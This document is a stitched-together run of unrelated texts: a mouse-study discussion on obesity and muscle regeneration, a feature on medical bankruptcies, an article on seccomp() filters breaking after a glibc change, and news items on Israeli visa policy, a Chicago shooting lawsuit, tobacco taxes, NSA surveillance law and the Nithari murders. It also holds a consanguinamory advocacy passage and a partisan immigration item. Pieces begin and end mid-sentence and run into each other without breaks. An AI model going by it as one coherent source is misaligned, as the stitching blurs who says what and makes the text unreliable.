The primary goal of this study was to examine how obesity alters the regenerative process in skeletal muscle following injury. We hypothesized that there would be reduced MRF expression, inflammatory and protein synthesis markers in obese mice following damage. To our knowledge, we are the first to demonstrate blunted inflammatory response via TNF‐α in obese mice following injury, with concomitant impairments in IL‐6‐related signalling and protein synthetic signalling following injury in obese mice. These findings demonstrate an altered skeletal muscle regenerative response. This altered response was associated with impaired growth‐related cellular signalling.
It has been suggested that obese animals have an impaired regenerative response following muscle damage (Sitnick et al. 2009, Drake et al. 2010). Twenty‐eight days following muscle damage, lean mice had a significant increase in muscle wet weight, but obese mice showed no significant change in muscle wet weight. These data were supported by an altered fibre size frequency distribution between lean and obese mice 28 days post‐bupivacaine injection. There was a shift towards larger fibres in lean mice, but not in the obese mice. It is important to note that obese mice did have a greater TA muscle weight than the lean mice, but there was no difference in mean CSA. It has been reported that obese mice have a higher accumulation of fat in the muscle, which may partially account for the greater muscle weight in obese mice (Tamilarasan et al. 2012, Akhmedov & Berdeaux 2013). Overall, the morphological and weight data suggest an impaired regenerative response in obese mice.
The inflammatory response is activated at the onset of muscle regeneration and serves several vital roles in the muscle regeneration process. More specifically, pro‐inflammatory cytokines such as IL‐6 and TNF‐α are involved in recruitment of phagocytes and infiltration of inflammatory markers into the extracellular matrix and aid in the induction of myoblast proliferation and differentiation (Chen et al. 2005, Washington et al. 2011, Zhang et al. 2013). In our study, we observed an impaired inflammatory response in obese mice at the level of TNF‐α induction. TNF‐α plays a role in the proliferation and differentiation phase of muscle regeneration by regulating the downstream targets such as NF‐κB and p38 mitogen‐activated protein kinase (p38MAPK) (Chen et al. 2005). To our knowledge, there are no studies that have examined signalling downstream of TNF‐α during skeletal muscle regeneration in obese mice. Whether a reduction in TNF‐α may delay the early stages of regeneration in obese individuals is uncertain, but TNF‐α signalling during skeletal muscle regeneration in obese individuals warrants further investigation.
In our study, we observed that IL‐6 expression is reduced in the muscle of obese mice. IL‐6 plays a role in the recruitment and infiltration of phagocytes to the injured site of muscle at the onset of skeletal muscle regeneration (Zhang et al. 2013). Obese individuals have previously been reported to exhibit increased pro‐inflammatory cytokines systemically (Gregor & Hotamisligil 2011) and in adipose tissue (Chmelar et al. 2013). It appears that the recruitment and infiltration of macrophages may be dysregulated, which would explain why IL‐6 is reported to be highly elevated systemically; however, induction is reduced in skeletal muscle. These data are supported by the previous literature that shows reduced recruitment of macrophages in IL‐6 knockout mice (Zhang et al. 2013) and a reduced amount of macrophages in the muscle of obese mice during regeneration (Nguyen et al. 2011).
At the onset of muscle regeneration, there was a similar response of IL‐6 expression in obese and lean mice, but blunted activation of the downstream target STAT3 in obese mice. These data suggest that while induction of IL‐6 itself appears unimpaired, IL‐6‐induced signalling is disrupted in obese mice. IL‐6 signalling can also lead to activation of Src homology phosphatase 2 (SHP2), a downstream target of IL‐6 that is independent of STAT3 activation. It has been suggested that SHP2 has a negative regulatory role in IL‐6/STAT3 signalling (Ohtani et al. 2000). It appears that IL‐6 signalling is altered in obese mice, which would explain the blunted response of activated STAT3. Furthermore, STAT3 is involved in satellite cell self‐renewal and myoblast proliferation (Tierney et al. 2014). It is possible that the lack of induction in STAT3 observed in the obese mice partially reduced muscle regeneration by negatively impacting myoblast proliferation.
In the obese group, our data suggest that MRF expression was not altered. A power analysis test for MyoD and myogenin expression reported a power level below 0.8. The high variability in the lean injured group limited our ability to detect the blunted response of both MyoD and myogenin expression in the obese mice. Also, basal MyoD expression was significantly reduced in obese mice. The induction of MyoD is essential in regeneration for myoblast proliferation (Megeney et al. 1996). Hu et al.. stated that they found a trend for a reduction in MyoD and myogenin mRNA expression in obese mice 3 days after injury compared to the lean mice, which supports our findings (Hu et al. 2010). However, Nguyen and colleagues found a significant reduction in MyoD+ cells in obese mice compared to wild‐type mice fed normal chow 5 days post‐cardiotoxin injection (Nguyen et al. 2011). The mice involved in Nguyen's study were leptin‐deficient on a 60% fat diet. The genetic animal model Nguyen et al. used may have influenced the differences observed with Hu's and our study. Thus, obesity may not alter MyoD expression during muscle regeneration, although future studies should clear up the differences reported in the expression of MRFs in obese animal models. Before myoblast proliferation is completed, myogenin is induced to promote differentiation in myoblast cells so that they will eventually be able to fuse to the existing myofibre and replace the damaged muscle tissue (Venuti et al. 1995). Obese mice in previous studies have been reported to exhibit increased free fatty acids in the muscle (Tamilarasan et al. 2012, Akhmedov & Berdeaux 2013). Tamilarasan and colleagues used human lipoprotein lipase overexpression to mimic the higher fat deposits in muscle that are observed in obese individuals. Their results show an inhibition of differentiation markers MyoD and myogenin in vitro (Tamilarasan et al. 2012). Moreover, the pro‐inflammatory cytokine, chemerin, is an adipokine that is highly upregulated in obese individuals (Yang et al. 2012). In the presence of a chemerin in C2C12 myoblasts, a direct inhibition of myogenin was observed (Yang et al. 2012). These results did not support our findings in myogenin mRNA abundance in vivo, using a more physiological model. Our findings are in support of Hu et al. (2010) that did not find any differences between myogenin mRNA abundance in lean and obese mice. Even though obesity leads to changes in the systemic environment, these particular changes did not alter basal levels of myogenin expression and did not influence the activation of MRFs during the regeneration process.
We further observed an impaired induction of protein synthetic signalling in obese mice. IGF‐1 is a predominant growth factor induced after skeletal muscle damage (Rommel et al. 2001). Once IGF‐1 binds to its receptor, a cascade of events leads to the activation of the Akt/mTOR pathway. These events lead to translation initiation that ultimately leads to myofibre growth. IGF‐1 expression was reduced in the obese mice compared to the lean mice, but at the onset of muscle regeneration, IGF‐1 was induced in the obese and lean mice alike. Although IGF‐1 works synergistically with insulin signalling, it is not completely dependent on insulin signalling (Svanberg et al. 1996). These findings suggest that the lack of insulin sensitivity may not alter IGF‐1 at the onset of muscle regeneration. In the obese mice, there were no acute changes in P‐Akt 3 days post‐bupivacaine injection. Previous studies found no reduction in phosphorylation in the obese control compared to lean control animals during load‐induced muscle growth (Peterson et al. 2008, Sitnick et al. 2009). To our knowledge, this is the first study to demonstrate non‐responsive Akt signalling at the onset of muscle regeneration. It has been well documented that insulin signalling is disrupted in obese mice (Hotamisligil et al. 1996, Unsold et al. 2015). PI3K is an upstream target that activates Akt that may have been altered due to the lack of insulin sensitivity that is exhibited in obese mice. In support, Hu and colleagues found a significant reduction in PI3K activity in obese mice in both uninjured and injured skeletal muscle (Hu et al. 2010). In addition, there was no change in muscle wet weight 28 days following muscle damage in the obese mice, but an increase in the control mice. Early Akt signalling may explain the attenuated growth of muscle wet weight in the obese mice. In addition to the IGF‐1/AKT signalling findings, phosphorylation of p70S6K1 was reduced in the obese mice at the onset of muscle damage. p70S6K1 is a downstream target of mTOR that initiates translation and is induced 3 days following functional overload (McClung et al. 2005). The lack of p70S6K1 phosphorylation is highly suggestive of impaired protein synthetic responses in obese mice following injury which appears to originate via the canonical insulin/IGF‐1–mTOR signalling cascade as evidenced by impaired activation of Akt. Even though protein levels of mTOR were not measured, the protein synthetic changes in obese mice alongside the morphological and muscle weight data strongly suggest that obesity reduces stimulation protein synthesis, which may reduce the regenerative capacity of the muscle.
In conclusion, a high‐fat diet results in altered inflammatory signalling and a blunted stimulation of the protein synthetic responses (Fig. 7) during skeletal muscle regeneration following injury. These changes were predominately observed at the onset of muscle regeneration (3 days). Whether these processes can be rescued with a reduction in adipose tissue is uncertain. These data suggest that obesity dysregulates many processes involved with the regenerative process adding to the complexity of this metabolic disease.In the campaign to broaden support for the overhaul of American health care, few arguments have packed as much rhetorical punch as the there-but-for-the-grace-of-God notion that average families, through no fault of their own, are going bankrupt because of medical debt.
President Obama, in addressing a joint session of Congress in September, called on lawmakers to protect those “who live every day just one accident or illness away from bankruptcy.” He added: “These are not primarily people on welfare. These are middle-class Americans.”
The Senate majority leader, Harry Reid of Nevada, made a similar case on Saturday in a floor speech calling for passage of a measure to open debate on his chamber’s health care bill.
The legislation moving through Congress would attack the problem in numerous ways.
Bills in both houses would expand eligibility for Medicaid and provide health insurance subsidies for those making up to four times the federal poverty level. Insurers would be prohibited from denying coverage to those with pre-existing health conditions. Out-of-pocket medical costs would be capped annually.
How many personal bankruptcies might be avoided is unpredictable, as it is not clear how often medical debt plays a back-breaking role. There were 1.1 million personal bankruptcy filings in 2008, including 12,500 in Nashville, and more are expected this year.
Last summer, Harvard researchers published a headline-grabbing paper that concluded that illness or medical bills contributed to 62 percent of bankruptcies in 2007, up from about half in 2001. More than three-fourths of those with medical debt had health insurance.
But the researchers’ methodology has been criticized as defining medical bankruptcy too broadly and for the ideological leanings of its authors, some of whom are outspoken advocates for nationalized health care.
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At the bankruptcy court in Nashville, lawyers provided a spectrum of estimates for the share of cases in Middle Tennessee where medical debt was decisive, from 15 percent to 50 percent. But many said they felt the number had been growing, and might be higher than was obvious because medical bills are often disguised as credit card debt.
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“This has really become the insurance system for the country,” said Susan R. Limor, a bankruptcy trustee who calculated that 13 of the 48 Chapter 7 liquidation cases on her docket one recent afternoon included medical debts of more than $1,000.
Under Chapter 7, a debtor’s assets are liquidated and the proceeds are used to pay creditors; any remaining debts are discharged, and filers are left with a 10-year stain on their credit ratings.
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“You can’t believe how many people discharge medical debts,” Ms. Limor said. “It’s a kind of trailing indicator of who’s suffering in this economy.”
Kyle D. Craddock, a bankruptcy lawyer here, said his medical cases were heartbreaking because the financial devastation was so rapid and ill-timed. “They’re sick, they’re bankrupt, and if they stay sick for too long, they end up losing their jobs as well,” he said.
That was the case for Ms. Phillips, 45, who said she was fired in October from her job in a shipping department because she had missed so much work while recuperating from her car accident and operations. Her firing came only 11 days after she filed for bankruptcy, listing about $7,000 in unpaid medical bills among her $187,000 in liabilities.
“The medical bills put me over the edge,” said Ms. Phillips, who lost her health insurance along with her job. “I had no money for food at this point. How was I going to do it?”
It was the same for the Mullinses, who have two children. They had a mortgage and owed money on credit cards and student loans. “But the medical problem is what took us down,” said Ms. Mullins, who is packing to move from the two-bedroom house they will soon surrender to Wells Fargo. “Everything was due, they wanted their money now, now, now, and it just became overwhelming.”
For some, like Nathan W. Hale, 34, who had an attack of pancreatitis two months after losing his job with a Nashville cable company, it is the absence of insurance that pulls them under. Others, like Robin P. Herron, 35, of Eagleville, Tenn., have insurance, but it is not enough. Her Blue Cross Blue Shield policy covered only 80 percent of the cost when her daughter needed surgery to remove a cyst from a fallopian tube, leaving her $6,000 in debt.
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After cortisone injections failed to cure his gimpy knee, Mr. Covington, 31, had surgery because the pain was forcing him to miss days of work as an emergency medical technician. His recovery kept him off the job for five months.
Simultaneously, his wife, a 911 dispatcher, developed sciatica while pregnant and had to take months off on reduced disability pay. Their insurance policy, with an $850 monthly premium, has a $4,000 annual deductible per family.
As the bills rolled in, the Covingtons compounded their troubles by placing medical charges on credit cards, simply to make the collection agencies stop calling. They fell months behind on their mortgage, and by August had lost their house and both cars.
Mr. Covington, who has taken a second job, said he found it ironic that it had not been the recession that forced them into bankruptcy. “I tell my wife that we beat the economy,” he said, “but health care beat us.”The inherent fragility of seccomp()
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seccomp()
seccomp()
Kernel developers have worried for years that tracepoints could lead to applications depending on obscure implementation details; the consequent need to preserve existing behavior to avoid causing regressions could end up impeding future development. A recent report shows that thesystem call is also more prone to regressions than users may expect — but kernel developers are unlikely to cause these regressions and, indeed, have little ability to prevent them. Programs usingwill have an inherently higher risk of breaking when software is updated.
seccomp() allows the establishment of a filter that will restrict the set of system calls available to a process. It has obvious uses related to sandboxing; if an application has no need for, say, the open() system call, blocking access to that call entirely can reduce the damage that can be caused if that application is compromised. As more systems and programs are subjected to hardening, the use of seccomp() can be expected to continue to increase.
Michael Kerrisk recently reported that upgrading to glibc 2.26 broke one of his demonstration applications. That program was using seccomp() to block access to the open() system call. The problem that he ran into comes down to the fact that applications almost never invoke system calls directly; instead, they call wrappers that have been defined by the C library.
The glibc open() wrapper has, since the beginning, been a wrapper around the kernel's open() system call. But open() is an old interface that has long been superseded by openat(). The older call still exists because applications expect it to be there, but it is implemented as a special case of openat() within the kernel itself. In glibc 2.26, the open() wrapper was changed to call openat() instead. This change was not visible to ordinary applications, but it will break seccomp() filters that behave differently for open() and openat().
Kerrisk was not really complaining about the change, but he did want to inform the glibc developers that there were user-visible effects from it: "I want to raise awareness that these sorts of changes have the potential to possibly cause breakages for some code using seccomp, and note that I think such changes should not be made lightly or gratuitously". The developers should, he was suggesting, keep the possibility of breaking seccomp() filters in mind when making changes, and they should document such changes when they cannot be avoided.
Florian Weimer, however, disagreed:
I have the opposite view: We should make such changes as often as possible, to remind people that seccomp filters (and certain SELinux and AppArmor policies) are incompatible with the GNU/Linux model, where everything is developed separately and not maintained within a single source tree (unlike say OpenBSD). This means that you really can't deviate from the upstream Linux userspace ABI (in the broadest possible sense) and still expect things to work.
Another way of putting this might be: seccomp() filters are not considered to be a part of the ABI that is provided by glibc, so incompatible changes there are not considered regressions. They are, instead, a consequence of filtering below the glibc level while expecting behavior above that level to remain unchanged.
Weimer's point of view would appear to be the one that will govern glibc development going forward. So Kerrisk has proposed some man-page changes to make the fragility of seccomp() filters a bit less surprising to developers. Playing the game at this level will require a fairly deep understanding of what is going on and the ability to adapt to future C-library changes.
This outcome could be seen as an argument in favor of a filtering interface like OpenBSD's pledge(). Like seccomp(), pledge() is used to limit the set of system calls available to a process, but pledge() is defined in terms of broad swathes of functionality rather than working at the level of individual system calls. It can be used to allow basic file I/O, for example, while disabling the opening (or creation) of new files. pledge() is far less expressive than seccomp() and cannot implement anything close to the same range of policies but, for basic filtering, it seems far less likely to generate surprises after a kernel or library update.Israel has stopped a planned visit by South Africa’s Minister of Higher Education Blade Nzimande to the Palestinian territories scheduled for later this month, the Anadolu Agency reported a senior Palestinian official as saying.
In a joint press conference with Nzimande in Jakarta, Indonesia, Palestinian Foreign Minister Riyad Maliki said: “Israel is sending a clear message of racism to the summit’s participants by frustrating minister Nzimande’s visit to Palestine, which was scheduled for 25-28 April.”
Al-Maliki pointed out that “the visit was planned for last year after the signing of a bilateral educational cooperation agreement between the two sides during President Mahmoud Abbas’s visit to South Africa in November 2014.”
“Israel’s prevention policy against officials and international figures who sympathise with the Palestinian cause and their suffering under the Israeli occupation will not succeed in isolating the Palestinian people from the international community, but instead will increase the Palestinian leadership’s political, diplomatic and media strength in the global struggle to end the occupation and establish an independent state,” he explained.
Meanwhile, Nzimande said the Israeli authorities refused to give him a visa to enter the Palestinian territories for a six-day visit despite having completed all the necessary procedures.
“Israel is trying to punish me through this ban and the South African Communist Party for our moral standing by the Palestinian people’s side in their struggle for freedom, justice and independence,” he added.
There was no comment from Israeli authorities.Thaddeus Jimenez, 36, was ordered held without bail after an Irving Park shooting in August. View Full Caption DNAinfo; Cook County Sheriff's Office
COOK COUNTY CRIMINAL COURTHOUSE — The man authorities claim was shot in both legs for refusing to rejoin a gang has filed a lawsuit against the alleged shooter, Thaddeus Jimenez.
Jimenez, 36, made headlines in 2009 when he was exonerated for a murder that he was arrested for at the age of 13. Jimenez spent more than 16 years in prison and was awarded $25 million in damages by a federal jury in 2012.
Prosecutors last month characterized Jimenez as a prominent gang leader who's been known to spend upward of $50,000 recruiting new members with cash, guns and cars.
But in federal court last week, Jimenez claimed he was broke, according to the Sun-Times. Jimenez told court officials he didn't have any assets, but prosecutors pointed out there are 13 cars registered in Jimenez's name, including a Bentley and other luxury vehicles, the paper reported.
On Monday, Earl Casteel, the 33-year-old man Jimenez allegedly shot in broad daylight on Aug. 17, filed a lawsuit seeking at least $50,000 in damages.
Casteel's attorney, Kevin M. O'Brien, said Casteel was shot in both kneecaps and required surgery on both of his legs. Casteel has screws and plates in each leg and will require "significant physical therapy."
"Will he be able to walk again? Probably," O'Brien said. "Will he be able to walk without pain? Probably not. Will he be able to regain all the motion, flexion and extension that he had before this incident? Probably not."
The shooting happened about 11:20 a.m. Aug. 17 in the 3500 block of West Belle Plaine Avenue, according to prosecutors. Jimenez was driving his gray Mercedes convertible when he spotted Casteel, a former gang member who hadn't been active for four years and refused to rejoin, authorities said.
Jimenez, who was driving on a revoked license and was out on bond for a pending aggravated DUI case, pointed a gun at the Casteel's head before lowering it and shooting the man once in each leg, according to prosecutors. Both of Casteel's femurs were shattered.
Jimenez then sped off, only to be followed by an unmarked police SUV. After a brief chase, prosecutors said, Jimenez crashed his car and tried to make a run for it. He was arrested and charged.
Casteel's lawsuit seeks compensation for ongoing medical expenses, as well as mental and physical anguish.
Casteel "resisted efforts by this defendant [Jimenez] to get him to join the gang, and in return for his saying 'no' to being forcefully recruited into this gang, he ended up getting shot in both legs," O'Brien said.
In response to Jimenez's claim that he's broke, O'Brien said he plans to investigate Jimenez's finances and any money or property transfers that have happened since the August shooting.
"The court believes there are still assets left and so do we," said Judson Graham, an associate attorney with O'Brien's firm. "The truth is, it is difficult to burn the amount of money he got from his wrongful conviction case in only a few years, even if you're buying Lamborghinis."
Jimenez's attorney did not immediately respond to requests for comment.
For more neighborhood news, listen to DNAinfo Radio here:Influential mortgage and real estate mogul Dan Gilbert's Bedrock LLC has launched its own magazine to publish stories about Detroit.
TBD, which began publishing online in November and in print last month, describes itself as "a digital and print publication profiling the people, stories and ideas that define Detroit today."
The quarterly print edition sells for $15 and annual subscriptions are $60, and stories are published regularly online, said Whitney Eichinger, director of communications for Bedrock.
"Its brand and editorial content is intentionally independent from Bedrock," she said.
The first print edition was 114 pages and didn't have any advertising, according to Eichinger. It is paid for out of the Bedrock budget.
"We are exploring options for future editions. We have not committed to an advertising model," she said, adding that circulation numbers are not being disclosed.
Bill Stevens with Troy-based Tepel Brothers Printing Inc., which printed TBD, said 5,000 copies of the first issue were produced.
Nick Perold, vice president of marketing, came up with the idea, Eichinger said. Gilbert signed off on the magazine's creation, she said.
Among the recent stories published: A profile of Wallace Detroit Guitars, which is run by Detroit RiverFront Conservancy President and CEO Mark Wallace; a look at a Museum of Contemporary Art and Design exhibition on architecture; and a piece on Antietam restaurant in the Eastern Market district.
TBD has a roster of freelance writers who have written for Crain's Detroit Business, The Detroit News, the Detroit Free Press, Hour Detroit and BLAC magazines, USA Today and the Washington Post, according to their biographies on the TBD website. Story ideas are generated internally by Perold and other Gilbert employees across his dozens of companies, as well as the writers, Eichinger said.
Gilbert has a large influence in the city, purchasing a vast swath of real estate in and around downtown in the last five-plus years and employing thousands of people through his Quicken Loans Inc. and Rock Ventures LLC, companies of which he is founder and chairman.
This isn't Gilbert's first foray into the publishing world. In 2014, a private equity firm he co-founded, Rockbridge Growth Equity LLC, purchased The Robb Report, which reports on luxury lifestyles through magazines, websites, smartphone apps, events and a private club. In December, Penske Media Corp. and Rockbridge announced the formation of a joint venture partnership in The Robb Report, which has an office in Detroit.
TBD and The Robb Report do not share any resources, Eichinger said.New Indian Prime Minister Narendra Modi yesterday asked his citizens to “lay the foundation of a healthier India” by raising awareness of the dangers of tobacco and saying “no” to smoking. The message, sent via Mr Modi’s Twitter feed, marked World No Tobacco Day, and the World Health Organisation (WHO) was looking for political leaders to follow up with similar messages, in the hope of stamping out smoking by hitting smokers where the impact is most immediate: in their pocket.
“Higher taxation, above anything else, is the most efficient way to stop people from taking up smoking, particularly young people,” said WHO’s Dr Ayda Yurekli, who is helping spearhead the campaign. “Plain packaging is an efficient tool … but higher taxation is still the best preventative.”
The call comes after a number of international moves to tackle tobacco. For decades, brands such as Gitanes and Gauloises have been as synonymous with France as the Eiffel Tower or the singer Serge Gainsbourg, who was rarely seen without a filterless cigarette between his fingers. But the French government is to bring in a new range of anti-tobacco policies next month.
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The law, to be presented by health minister Marisol Touraine, is expected to include rules requiring manufacturers to stop printing their logos on packets, and to have the brand written in small letters under a prominent health warning covering at least 65 per cent of the packet.
The state government in Delhi has also said it is looking at measures to help reduce smoking, including a ban on the sale of chewing tobacco, and the possibility of designating a day at the end of each month on which no tobacco products can be sold.
Nearly six million people still die each year from tobacco-related illnesses, and the WHO launched its initiative after calculating that only 8 per cent of people live in countries where the tax on tobacco is prohibitive enough to deter users.
Based on 2012 figures, WHO estimates that by increasing tobacco taxes by 50 per cent, countries would reduce the global number of smokers by 49 million within the next three years and potentially save 11 million lives. It found that increasing tobacco prices by just 10 per cent cut tobacco consumption by about 4 per cent in high-income countries and by up to 8 per cent in low and middle-income countries.
“The UK is providing a good example to the rest of the world by raising the percentage of tax on cigarettes to over 70 per cent of the retail price, and is used as an example across Europe of a success story,” Dr Yurekli told The Independent on Sunday. We want to see more countries with similar rates.”
She hopes that all governments will eventually pass tax increases that exceed increases in consumer prices and incomes.
France increased tobacco taxes, banned large-scale advertising on televisions and hoardings, forced manufacturers to display health warnings on packets, and placed limits on where smokers could smoke in public back in 1991.
However, plans by the French government to impose a 40-centimes tax rise on cigarettes this year was scaled back by half in the face of public opposition, to the frustration of anti-smoking campaigners. One in three French teenagers aged 15 to 19 are believed to smoke, the Health Ministry found, prompting demands for even tougher rules in the legislation to be announced on 17 June.
The WHO cites the UK as a success as it has witnessed one of largest reductions in tobacco use in recent years. Smoking rates dropped to 22 percent in 2011 – for men and women – from 37 per cent for men and 35 per cent for women, six years earlier.
The WHO hopes its higher tax campaign will ensure this success is repeated elsewhere. Recent tax rises in India and the Philippines – where the increases under the Sin Tax Law see proceeds go directly to health programmes – have resulted in significant falls in the number of smokers.
The French legislature is also considering placing e-cigarettes on the same legal footing as tobacco smoking, making it the first European country to ban their use in public places. E-cigarette stores have been springing up across France, which now has almost one million users.
Ms Touraine’s office did not confirm the report of the upcoming legislation, but the ministry said that it was studying several options for its “national smoking reduction plan”.There was a time when my hometown newspaper, then called the St. Petersburg Times, now the Tampa Bay Times, was trying to be more inclusive in its coverage. It worked. Instead of an all-white cast of characters, you would see in stories and photos the occasional doctor, teacher, or lawyer of color.
A member of my church noticed the trend with disapproval and expressed himself after Mass over coffee and doughnuts. He deplored such political correctness.
“So,” I responded, “you’re telling me that what we need in the St. Pete Times are more stories about white people?”
I have a similar question today for one of my Florida state senators.
Stories in the Times have described the backlash against Tampa Bay Buccaneers star receiver Mike Evans. On the Sunday of Veterans Day weekend, Evans did not stand for the national anthem, a protest, he said, against the results of the presidential election.
The reaction from across the country suggested that Evans had stepped way out of bounds.
Reporter Steve Bousquet quoted Republican state Sen. Jack Latvala as saying of the protest by Evans, “I think it’s outrageous. I just think it’s wrong, it’s selfish and I’m tired of it.” He went on to encourage a boycott of Bucs games. He threatened to use his legislative influence to withhold money from Raymond James Stadium.
Evans should apologize, he said, or the Bucs should release him.
To which I have this response for the senator: “So, you’re telling me, sir, that we need more expressions of patriotism at sporting events?”
How would that be possible? Let’s be creative:
Instead of just one flyover of jets from nearby MacDill Air Force Base, we could have one to celebrate each time the Buccaneers |
and reliance upon common expectations may not be realistic, consanguinamorists often advocate explicitly negotiating with their partner to establish the terms of their relationships, and often emphasize that this should be an ongoing process of honest communication and respect. Consanguinamorists will usually take a pragmatic approach to their relationships; many accept that sometimes they and their partner will make mistakes and fail to live up to these ideals, and that communication is important for repairing any breaches.
Trust, honesty, dignity, and respect: Most consanguinamorists emphasize respect, trust, and honesty. While consanguinamorists usually cannot come out and tell others about their relationship, due to the discrimination and persecution of such relationships, most believe in being open and honest with their partners.
Specific issues affecting relationships
One of the most common issues affecting consanguinamorous relationships is discrimination from society and fear of being found out. Consensual adult incest relationships between siblings and also between parents and their adult offspring is prohibited in most countries, and so people in these relationships usually need to keep their relationship a secret. The need for secrecy, the effects of discrimination, and fear of being found out sometimes cause mental health issues for people practicing consanguinamory.[9]
If found out, people in consanguinamorous relationships, especially those in relationships with immediate family members, are sometimes sent to jail and sometimes lose custody of their children.[5] [10]
Research
Research on consanguinamory is currently very limited due to the stigma associated with incest, including consensual adult incest. This makes it hard to get academic funding to conduct research on consensual adult incest. In June 2017, an online survey of 159 individuals in the consanguinamory community was completed.[11] Most of the respondents to the survey were college-educated, about half of the respondents had been in a sibling relationship, almost half were in a parent/adult offspring relationship, and about a fifth of the respondents had been in a relationship with a cousin. Regarding these relationships, about a third of the respondents had been in their consanguinamorous relationship for 1-5 years, about a third had been in their relationship for under a year, and about a third had been in their relationship for over 5 years, with some maintaining a consanguinamorous relationship for 20 or more years. The majority of people in these consanguinamorous relationships did not have children, and those that did tended to have children with someone who wasn't related. The majority of respondents described their consanguinamorous relationship as "loving and healthy", while some described their relationship as "loving but sometimes dysfunctional". When asked how they felt about being consanguinamorous, the overwhelming majority responded that they were comfortable with being consanguinamorous and wouldn’t change it even if they could, and felt there was nothing wrong with being consanguinamorous.
Mission of the Consanguinamorous Rights Movement
In short, our people want and deserve equal rights, and in order to achieve that we must educate the public about us and fight unjust laws which are imprisoning consenting adults. Nobody should be persecuted because of who they love. Jane Doe's website https://consanguinamory.wordpress.com/ covers a wide range of issues relevant to consanguinamorists and provides links to useful resources, including a support forum for consang people and their allies.
Other Pages On this Wiki
ReferencesA leaked document shows that the Obama administration is scheming to defy a federal judge’s injunction against the President’s executive amnesty programs DAPA and Expanded DACA.
From The Hill:
A newly leaked internal DHS memorandum produced for an off-the-record agency conclave reveals that the Obama administration is actively planning to circumvent a federal court injunction that suspended part of last November’s deferral-based amnesty initiative. The document, apparently prepared as follow-up from a DHS “Regulations Retreat” last summer, appears sure to re-ignite concerns in Congress as well as federal judges in the Fifth Circuit.
The Administration has already been criticized from the bench for handing out work permits to hundreds of thousands of deferred action beneficiaries, in direct violation of a district court’s order. With the Fifth Circuit Court of Appeals deciding any day now whether to deny the Administration’s request to reverse that injunction, this public leak has come at a critical juncture for U.S. enforcement policy.
Last June, four months after Texas federal judge Andrew Hanen’s order to freeze President’s DAPA and Expanded DACA programs—disclosure: the Immigration Reform Law Institute has filed briefs in these cases—DHS’s immigration policy makers apparently held a “Regulations Retreat” to discuss “different options” for “open market Employment Authorization Document (EAD) regulatory changes.” EAD is the statutory term for work permits.
From a memo recording these discussions, we now know that the Obama DHS has, rather than pausing to allow the courts to assess the constitutionality of its enforcement nullification initiatives, been gearing up to roll out one or more of four plans drawn up at the meeting, each one designed to provide EADs to millions of nonimmigrants, including those lawfully present and visa overstayers, crippling the actual employment-based visa system on the federal statute-book.
Read the rest of the story here.In a midnight session, the Senate has voted down the USA Freedom Act, putting one of the legal bedrocks of the NSA's bulk surveillance programs into jeopardy. The Patriot Act is set to expire at the end of the month, and the USA Freedom Act would have extended large portions of the act in modified form. Tonight's failure to arrive at a vote makes it likely that many of those powers will automatically expire, although Senate Majority Leader McConnell (R-KY) scheduled a last-minute session on May 31st for one last shot at passing the bill.
In particular, the USA Freedom Act would have modified the Section 215 of the Patriot Act, a clause that allows the FBI to secretly order the collection of "tangible things" that could help in a national security investigation. Since its passage, Section 215 has been interpreted loosely — and likely illegally — by intelligence agencies. As whistleblower Edward Snowden revealed in 2013, the definition of both "tangible things" and "investigation" was broad enough to let NSA build a large database of American phone records for an ongoing, expansive national security effort.
After the program was discovered, President Obama ordered the NSA to get approval before searching the database, but the phone metadata orders have still been renewed every three months. Government reports have said that there's little evidence the phone records program foiled any terrorist plots, however, and a recent court decision found that it wasn't legal at all by the standards of Section 215.
Bye extra transparency. Bye FISA advocate. Bye 214, NSL reform. Sunset the bastard. — Amie Stepanovich (@astepanovich) May 23, 2015
The provision has also been used for tracking more than phone records. This week, the Justice Department's Office of the Inspector General released a review of Section 215. While it's partially redacted, the document describes FBI requests for records that "range from reproductions of hard copy reproductions of business ledgers and receipts to gigabytes of metadata and other electronic information," including email records. This might not necessarily be problematic in itself, but the report notes that requests could cover "groups composed of unknown members" and people who weren't actually associated with investigations, with the justification that they were still relevant to the investigation.
Originally, the USA Freedom Act was a relatively broad reform bill, tightening the language of national security rules and adding more transparency requirements. Since its introduction, though, it had been revised several times — a watered-down version passed the House last year, and a stronger version died in the Senate. The House brought a new version of bill back and passed it earlier this month, but the bill faced significant opposition in the Senate. Most notably, Rand Paul has staged a series of non-procedural filibusters in symbolic opposition to the bill, including a speech today that pushed the Senate vote past midnight.Share. Get them while they last! Get them while they last!
Throughout the week, the special edition of Fallout 4 containing a working Pip-Boy peripheral will be available for pre-order at various retailers for a short time.
Bethesda announced this availability in their blog, claiming they were able to "squeeze some more Pip-Boys out of the factories" to meet fan demand.
Containing a funcional Pip-Boy, capsule case, a copy of Fallout 4, Robco Industries stand, Vault-Tec Perk Poster, and a Pip-Boy Pocket Guide, this special edition was announced during E3 2015 at Bethesda's press conference.
It's currently available for pre-order for $120 through GameStop and will - according to Bethesda - release sometime this week on Amazon and Best Buy in North America. Best Buy, Amazon.ca, and EB Games will be selling it in Canada. Bethesda acknowledged European interest in the edition and will announce updates regarding overseas sales at a later time.
Fallout 4 is the latest iteration in the long-running post-apcalypse RPG series. It will release on the PC, Xbox One, and PlayStation 4 on November 10.
Exit Theatre Mode
Cassidee is a freelance writer and the co-host of a podcast about freelancing. You can chat with her about that and all other things geeky on Twitter.Pandher and Koli were found guilty of rape, murder and abduction of Pinky Sarkar.
Highlights Pandher and Koli were found guilty of rape, murder and abduction This is the eighth of several cases registered against them In 2009, skulls of 16 persons were recovered near Pandher's house
In the Nithari rapes and killings of 2006 that shocked the nation to the core, businessman Moninder Singh Pandher and his domestic help Surender Koli were both sentenced to death today by a CBI court.Pandher and Koli were found guilty of rape, murder and abduction by special judge Pawan Kumar in the killing of a 20-year-old woman, Pinky Sarkar.The judge called the crime "rarest of rare". Koli and Pandher were present in court.This is the eighth of several cases registered against them by the Central Bureau of Investigation in 2006.Prosecution lawyer JP Sharma, asking for the death sentence for the two, argued that forensic evidence proved Koli kidnapped, killed and raped the woman and also tampered with evidence.On October 5, 2006, the woman was returning home from work. She took the road outside Pandher's home in the Nithari area of Noida.Koli lured her inside, where she was killed and beheaded. Investigators found her skull behind the house.Defence lawyer Devraj Singh pleaded for minimum punishment for Pandher saying he suffers from high blood pressure and diabetes.The gruesome cases surfaced when the police discovered the skulls and bones of 16 persons, mostly children, near Pandher's house. The bone-chilling details that were revealed during investigations included Koli's cannibalism.Yes, I'm Leaving BT
The Register reported that I am leaving BT at the end of the year. It quoted BT as saying:
